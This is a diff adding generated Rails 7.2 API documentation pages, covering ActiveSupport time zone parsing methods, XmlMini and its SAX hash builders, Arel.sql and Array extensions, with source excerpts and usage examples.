+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 329
+    def formatted_offset(colon = true, alternate_utc_string = nil)
+      utc_offset == 0 && alternate_utc_string || self.class.seconds_to_utc_offset(utc_offset, colon)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + iso8601(str) + +

+ + +
+

Method for creating new ActiveSupport::TimeWithZone instance in time zone of self from an ISO 8601 string.

+ +
Time.zone = 'Hawaii'                     # => "Hawaii"
+Time.zone.iso8601('1999-12-31T14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+
+ +

If the time components are missing then they will be set to zero.

+ +
Time.zone = 'Hawaii'            # => "Hawaii"
+Time.zone.iso8601('1999-12-31') # => Fri, 31 Dec 1999 00:00:00 HST -10:00
+
+ +

If the string is invalid then an ArgumentError will be raised unlike parse which usually returns nil when given an invalid date string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 398
+    def iso8601(str)
+      # Historically `Date._iso8601(nil)` returns `{}`, but in the `date` gem versions `3.2.1`, `3.1.2`, `3.0.2`,
+      # and `2.0.1`, `Date._iso8601(nil)` raises `TypeError` https://github.com/ruby/date/issues/39
+      # Future `date` releases are expected to revert back to the original behavior.
+      raise ArgumentError, "invalid date" if str.nil?
+
+      parts = Date._iso8601(str)
+
+      year = parts.fetch(:year)
+
+      if parts.key?(:yday)
+        ordinal_date = Date.ordinal(year, parts.fetch(:yday))
+        month = ordinal_date.month
+        day = ordinal_date.day
+      else
+        month = parts.fetch(:mon)
+        day = parts.fetch(:mday)
+      end
+
+      time = Time.new(
+        year,
+        month,
+        day,
+        parts.fetch(:hour, 0),
+        parts.fetch(:min, 0),
+        parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset, 0)
+      )
+
+      if parts[:offset]
+        TimeWithZone.new(time.utc, self)
+      else
+        TimeWithZone.new(nil, self, time)
+      end
+
+    rescue Date::Error, KeyError
+      raise ArgumentError, "invalid date"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + local(*args) + +

+ + +
+

Method for creating new ActiveSupport::TimeWithZone instance in time zone of self from given values.

+ +
Time.zone = 'Hawaii'                    # => "Hawaii"
+Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 365
+    def local(*args)
+      time = Time.utc(*args)
+      ActiveSupport::TimeWithZone.new(nil, self, time)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + local_to_utc(time, dst = true) + +

+ + +
+

Adjust the given time to the simultaneous time in UTC. Returns a Time.utc() instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 553
+    def local_to_utc(time, dst = true)
+      tzinfo.local_to_utc(time, dst)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match?(re) + +

+ + +
+

Compare name and TZInfo identifier to a supplied regexp, returning true if a match is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 350
+    def match?(re)
+      (re == name) || (re == MAPPING[name]) ||
+        ((Regexp === re) && (re.match?(name) || re.match?(MAPPING[name])))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + now() + +

+ + +
+

Returns an ActiveSupport::TimeWithZone instance representing the current time in the time zone represented by self.

+ +
Time.zone = 'Hawaii'  # => "Hawaii"
+Time.zone.now         # => Wed, 23 Jan 2008 20:24:27 HST -10:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 518
+    def now
+      time_now.utc.in_time_zone(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse(str, now = now()) + +

+ + +
+

Method for creating new ActiveSupport::TimeWithZone instance in time zone of self from parsed string.

+ +
Time.zone = 'Hawaii'                   # => "Hawaii"
+Time.zone.parse('1999-12-31 14:00:00') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+
+ +

If upper components are missing from the string, they are supplied from TimeZone#now:

+ +
Time.zone.now               # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+
+ +

However, if the date component is not provided, but any other upper components are supplied, then the day of the month defaults to 1:

+ +
Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+
+ +

If the string is invalid then an ArgumentError could be raised.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 455
+    def parse(str, now = now())
+      parts_to_time(Date._parse(str, false), now)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + period_for_local(time, dst = true) + +

+ + +
+

Available so that TimeZone instances respond like TZInfo::Timezone instances.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 565
+    def period_for_local(time, dst = true)
+      tzinfo.period_for_local(time, dst) { |periods| periods.last }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + period_for_utc(time) + +

+ + +
+

Available so that TimeZone instances respond like TZInfo::Timezone instances.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 559
+    def period_for_utc(time)
+      tzinfo.period_for_utc(time)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rfc3339(str) + +

+ + +
+

Method for creating new ActiveSupport::TimeWithZone instance in time zone of self from an RFC 3339 string.

+ +
Time.zone = 'Hawaii'                     # => "Hawaii"
+Time.zone.rfc3339('2000-01-01T00:00:00Z') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+
+ +

If the time or zone components are missing then an ArgumentError will be raised. This is much stricter than either parse or iso8601 which allow for missing components.

+ +
Time.zone = 'Hawaii'            # => "Hawaii"
+Time.zone.rfc3339('1999-12-31') # => ArgumentError: invalid date
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 471
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      time = Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+
+      TimeWithZone.new(time.utc, self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strptime(str, format, now = now()) + +

+ + +
+

Parses str according to format and returns an ActiveSupport::TimeWithZone.

+ +

Assumes that str is a time in the time zone self, unless format includes an explicit time zone. (This is the same behavior as parse.) In either case, the returned TimeWithZone has the timezone of self.

+ +
Time.zone = 'Hawaii'                   # => "Hawaii"
+Time.zone.strptime('1999-12-31 14:00:00', '%Y-%m-%d %H:%M:%S') # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+
+ +

If upper components are missing from the string, they are supplied from TimeZone#now:

+ +
Time.zone.now                              # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+Time.zone.strptime('22:30:00', '%H:%M:%S') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
+
+ +

However, if the date component is not provided, but any other upper components are supplied, then the day of the month defaults to 1:

+ +
Time.zone.strptime('Mar 2000', '%b %Y') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 509
+    def strptime(str, format, now = now())
+      parts_to_time(DateTime._strptime(str, format), now)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Returns a textual representation of this time zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 356
+    def to_s
+      "(GMT#{formatted_offset}) #{name}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + today() + +

+ + +
+

Returns the current date in this time zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 523
+    def today
+      tzinfo.now.to_date
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tomorrow() + +

+ + +
+

Returns the next date in this time zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 528
+    def tomorrow
+      today + 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_offset() + +

+ + +
+

Returns the offset of this time zone from UTC in seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 319
+    def utc_offset
+      @utc_offset || tzinfo&.current_period&.base_utc_offset
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utc_to_local(time) + +

+ + +
+

Adjust the given time to the simultaneous time in the time zone represented by self. Returns a local time with the appropriate offset – if you want an ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.

+ +

As of tzinfo 2, utc_to_local returns a Time with a non-zero utc_offset. See the utc_to_local_returns_utc_offset_times config for more info.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 544
+    def utc_to_local(time)
+      tzinfo.utc_to_local(time).yield_self do |t|
+        ActiveSupport.utc_to_local_returns_utc_offset_times ?
+          t : Time.utc(t.year, t.month, t.day, t.hour, t.min, t.sec, t.sec_fraction * 1_000_000)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yesterday() + +

+ + +
+

Returns the previous date in this time zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/values/time_zone.rb, line 533
+    def yesterday
+      today - 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/VERSION.html b/src/7.2/classes/ActiveSupport/VERSION.html new file mode 100644 index 0000000000..c89271c847 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActiveSupport::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XMLConverter.html b/src/7.2/classes/ActiveSupport/XMLConverter.html new file mode 100644 index 0000000000..e5e3d0c831 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XMLConverter.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::XMLConverter +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XMLConverter/DisallowedType.html b/src/7.2/classes/ActiveSupport/XMLConverter/DisallowedType.html new file mode 100644 index 0000000000..4a8aedb3d1 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XMLConverter/DisallowedType.html @@ -0,0 +1,113 @@ +--- +title: ActiveSupport::XMLConverter::DisallowedType +layout: default +--- +
+ +
+
+ +
+ +

Raised if the XML contains attributes with type=β€œyaml” or type=β€œsymbol”. Read Hash#from_xml for more details.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/conversions.rb, line 144
+      def initialize(type)
+        super "Disallowed type attribute: #{type.inspect}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XmlMini.html b/src/7.2/classes/ActiveSupport/XmlMini.html new file mode 100644 index 0000000000..6df277aa0d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XmlMini.html @@ -0,0 +1,401 @@ +--- +title: ActiveSupport::XmlMini +layout: default +--- +
+ +
+
+ +
+ +

XmlMini

+ +

To use the much faster libxml parser:

+ +
gem "libxml-ruby"
+XmlMini.backend = 'LibXML'
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DEFAULT_ENCODINGS={ +"binary" => "base64" +} unless defined?(DEFAULT_ENCODINGS)
FORMATTING={ +"symbol" => Proc.new { |symbol| symbol.to_s }, +"date" => Proc.new { |date| date.to_fs(:db) }, +"dateTime" => Proc.new { |time| time.xmlschema }, +"duration" => Proc.new { |duration| duration.iso8601 }, +"binary" => Proc.new { |binary| ::Base64.encode64(binary) }, +"yaml" => Proc.new { |yaml| yaml.to_yaml } +} unless defined?(FORMATTING)
PARSING={ +"symbol" => Proc.new { |symbol| symbol.to_s.to_sym }, +"date" => Proc.new { |date| ::Date.parse(date) }, +"datetime" => Proc.new { |time| Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc }, +"duration" => Proc.new { |duration| Duration.parse(duration) }, +"integer" => Proc.new { |integer| integer.to_i }, +"float" => Proc.new { |float| float.to_f }, +"decimal" => Proc.new do |number| +if String === number +number.to_d +else +BigDecimal(number) +end +end, +"boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) }, +"string" => Proc.new { |string| string.to_s }, +"yaml" => Proc.new { |yaml| YAML.load(yaml) rescue yaml }, +"base64Binary" => Proc.new { |bin| ::Base64.decode64(bin) }, +"hexBinary" => Proc.new { |bin| _parse_hex_binary(bin) }, +"binary" => Proc.new { |bin, entity| _parse_binary(bin, entity) }, +"file" => Proc.new { |file, entity| _parse_file(file, entity) } +}
TYPE_NAMES={ +"Symbol" => "symbol", +"Integer" => "integer", +"BigDecimal" => "decimal", +"Float" => "float", +"TrueClass" => "boolean", +"FalseClass" => "boolean", +"Date" => "date", +"DateTime" => "dateTime", +"Time" => "dateTime", +"ActiveSupport::Duration" => "duration", +"Array" => "array", +"Hash" => "hash" +}
+ + + + +

Attributes

+ + + + + + + + +
+ [RW] + depth
+ + + + + +

Instance Public methods

+ +
+

+ + backend() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini.rb, line 101
+    def backend
+      current_thread_backend || @backend
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + backend=(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini.rb, line 105
+    def backend=(name)
+      backend = name && cast_backend_name_to_module(name)
+      self.current_thread_backend = backend if current_thread_backend
+      @backend = backend
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_key(key, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini.rb, line 152
+    def rename_key(key, options = {})
+      camelize  = options[:camelize]
+      dasherize = !options.has_key?(:dasherize) || options[:dasherize]
+      if camelize
+        key = true == camelize ? key.camelize : key.camelize(camelize)
+      end
+      key = _dasherize(key) if dasherize
+      key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_tag(key, value, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini.rb, line 119
+    def to_tag(key, value, options)
+      type_name = options.delete(:type)
+      merged_options = options.merge(root: key, skip_instruct: true)
+
+      if value.is_a?(::Method) || value.is_a?(::Proc)
+        if value.arity == 1
+          value.call(merged_options)
+        else
+          value.call(merged_options, key.to_s.singularize)
+        end
+      elsif value.respond_to?(:to_xml)
+        value.to_xml(merged_options)
+      else
+        type_name ||= TYPE_NAMES[value.class.name]
+        type_name ||= value.class.name if value && !value.respond_to?(:to_str)
+        type_name   = type_name.to_s   if type_name
+        type_name   = "dateTime" if type_name == "datetime"
+
+        key = rename_key(key.to_s, options)
+
+        attributes = options[:skip_types] || type_name.nil? ? {} : { type: type_name }
+        attributes[:nil] = true if value.nil?
+
+        encoding = options[:encoding] || DEFAULT_ENCODINGS[type_name]
+        attributes[:encoding] = encoding if encoding
+
+        formatted_value = FORMATTING[type_name] && !value.nil? ?
+          FORMATTING[type_name].call(value) : value
+
+        options[:builder].tag!(key, formatted_value, attributes)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_backend(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini.rb, line 111
+    def with_backend(name)
+      old_backend = current_thread_backend
+      self.current_thread_backend = name && cast_backend_name_to_module(name)
+      yield
+    ensure
+      self.current_thread_backend = old_backend
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX.html b/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX.html new file mode 100644 index 0000000000..35333cc472 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::XmlMini_LibXMLSAX +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX/HashBuilder.html b/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX/HashBuilder.html new file mode 100644 index 0000000000..488d6ffb34 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XmlMini_LibXMLSAX/HashBuilder.html @@ -0,0 +1,401 @@ +--- +title: ActiveSupport::XmlMini_LibXMLSAX::HashBuilder +layout: default +--- +
+ +
+
+ +
+ +

Class that will build the hash while the XML document is being parsed using SAX events.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + LibXML::XML::SaxParser::Callbacks + +
  • + +
+ + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CONTENT_KEY="__content__"
HASH_SIZE_KEY="__hash_size__"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + hash
+ + + + + +

Instance Public methods

+ +
+

+ + current_hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 21
+      def current_hash
+        @hash_stack.last
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_cdata_block(string) + +

+ + +
+ +
+ + + + + +
+ Alias for: on_characters +
+ + + + +
+ +
+

+ + on_characters(string) + +

+ + +
+ +
+ + + +
+ Also aliased as: on_cdata_block +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 55
+      def on_characters(string)
+        current_hash[CONTENT_KEY] << string
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_end_document() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 30
+      def on_end_document
+        @hash = @hash_stack.pop
+        @hash.delete(CONTENT_KEY)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_end_element(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 48
+      def on_end_element(name)
+        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ""
+          current_hash.delete(CONTENT_KEY)
+        end
+        @hash_stack.pop
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_start_document() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 25
+      def on_start_document
+        @hash = { CONTENT_KEY => +"" }
+        @hash_stack = [@hash]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_start_element(name, attrs = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/libxmlsax.rb, line 35
+      def on_start_element(name, attrs = {})
+        new_hash = { CONTENT_KEY => +"" }.merge!(attrs)
+        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+        case current_hash[name]
+        when Array then current_hash[name] << new_hash
+        when Hash  then current_hash[name] = [current_hash[name], new_hash]
+        when nil   then current_hash[name] = new_hash
+        end
+
+        @hash_stack.push(new_hash)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX.html b/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX.html new file mode 100644 index 0000000000..56660d6f16 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::XmlMini_NokogiriSAX +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX/HashBuilder.html b/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX/HashBuilder.html new file mode 100644 index 0000000000..8b30e1b03b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/XmlMini_NokogiriSAX/HashBuilder.html @@ -0,0 +1,427 @@ +--- +title: ActiveSupport::XmlMini_NokogiriSAX::HashBuilder +layout: default +--- +
+ +
+
+ +
+ +

Class that will build the hash while the XML document is being parsed using SAX events.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CONTENT_KEY="__content__"
HASH_SIZE_KEY="__hash_size__"
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + hash
+ + + + + +

Instance Public methods

+ +
+

+ + cdata_block(string) + +

+ + +
+ +
+ + + + + +
+ Alias for: characters +
+ + + + +
+ +
+

+ + characters(string) + +

+ + +
+ +
+ + + +
+ Also aliased as: cdata_block +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 61
+      def characters(string)
+        current_hash[CONTENT_KEY] << string
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 24
+      def current_hash
+        @hash_stack.last
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_document() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 33
+      def end_document
+        raise "Parse stack not empty!" if @hash_stack.size > 1
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_element(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 54
+      def end_element(name)
+        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ""
+          current_hash.delete(CONTENT_KEY)
+        end
+        @hash_stack.pop
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error(error_message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 37
+      def error(error_message)
+        raise error_message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_document() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 28
+      def start_document
+        @hash = {}
+        @hash_stack = [@hash]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_element(name, attrs = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/xml_mini/nokogirisax.rb, line 41
+      def start_element(name, attrs = [])
+        new_hash = { CONTENT_KEY => +"" }.merge!(Hash[attrs])
+        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+        case current_hash[name]
+        when Array then current_hash[name] << new_hash
+        when Hash  then current_hash[name] = [current_hash[name], new_hash]
+        when nil   then current_hash[name] = new_hash
+        end
+
+        @hash_stack.push(new_hash)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Arel.html b/src/7.2/classes/Arel.html new file mode 100644 index 0000000000..2750919ec1 --- /dev/null +++ b/src/7.2/classes/Arel.html @@ -0,0 +1,129 @@ +--- +title: Arel +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + sql +
  • + +
+ + + + + + + + + + + +

Constants

+ + + + + + + + + +
VERSION="10.0.0"
+ + + + + + +

Class Public methods

+ +
+

+ + sql(sql_string, *positional_binds, retryable: false, **named_binds) + +

+ + +
+

Wrap a known-safe SQL string for passing to query methods, e.g.

+ +
Post.order(Arel.sql("REPLACE(title, 'misc', 'zzzz') asc")).pluck(:id)
+
+ +

Great caution should be taken to avoid SQL injection vulnerabilities. This method should not be used with unsafe values such as request parameters or model attributes.

+ +

Take a look at the security guide for more information.

+ +

To construct a more complex query fragment, including the possible use of user-provided values, the sql_string may contain ? and :key placeholders, corresponding to the additional arguments. Note that this behavior only applies when bind value parameters are supplied in the call; without them, the placeholder tokens have no special meaning, and will be passed through to the query as-is.

+ +

The :retryable option can be used to mark the SQL as safe to retry. Use this option only if the SQL is idempotent, as it could be executed more than once.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/arel.rb, line 52
+  def self.sql(sql_string, *positional_binds, retryable: false, **named_binds)
+    if positional_binds.empty? && named_binds.empty?
+      Arel::Nodes::SqlLiteral.new(sql_string, retryable: retryable)
+    else
+      Arel::Nodes::BoundSqlLiteral.new sql_string, positional_binds, named_binds
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Array.html b/src/7.2/classes/Array.html new file mode 100644 index 0000000000..641ec69939 --- /dev/null +++ b/src/7.2/classes/Array.html @@ -0,0 +1,1518 @@ +--- +title: Array +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + wrap(object) + +

+ + +
+

Wraps its argument in an array unless it is already an array (or array-like).

+ +

Specifically:

+
  • +

    If the argument is nil an empty array is returned.

    +
  • +

    Otherwise, if the argument responds to to_ary it is invoked, and its result returned.

    +
  • +

    Otherwise, returns an array with the argument as its single element.

    + +
    Array.wrap(nil)       # => []
    +Array.wrap([1, 2, 3]) # => [1, 2, 3]
    +Array.wrap(0)         # => [0]
    +
    +
+ +

This method is similar in purpose to Kernel#Array, but there are some differences:

+
  • +

    If the argument responds to to_ary the method is invoked. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away.

    +
  • +

    If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value.

    +
  • +

    It does not call to_a on the argument, if the argument does not respond to to_ary it returns an array with the argument as its single element.

    +
+ +

The last point is easily explained with some enumerables:

+ +
Array(foo: :bar)      # => [[:foo, :bar]]
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+
+ +

There’s also a related idiom that uses the splat operator:

+ +
[*object]
+
+ +

which returns [] for nil, but calls to Array(object) otherwise.

+ +

The differences with Kernel#Array explained above apply to the rest of objects.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/wrap.rb, line 39
+  def self.wrap(object)
+    if object.nil?
+      []
+    elsif object.respond_to?(:to_ary)
+      object.to_ary || [object]
+    else
+      [object]
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + deep_dup() + +

+ + +
+

Returns a deep copy of array.

+ +
array = [1, [2, 3]]
+dup   = array.deep_dup
+dup[1][2] = 4
+
+array[1][2] # => nil
+dup[1][2]   # => 4
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/deep_dup.rb, line 29
+  def deep_dup
+    map(&:deep_dup)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + excluding(*elements) + +

+ + +
+

Returns a copy of the Array excluding the specified elements.

+ +
["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
+[ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ]) # => [ [ 0, 1 ] ]
+
+ +

Note: This is an optimization of Enumerable#excluding that uses Array#- instead of Array#reject for performance reasons.

+
+ + + +
+ Also aliased as: without +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 47
+  def excluding(*elements)
+    self - elements.flatten(1)
+  end
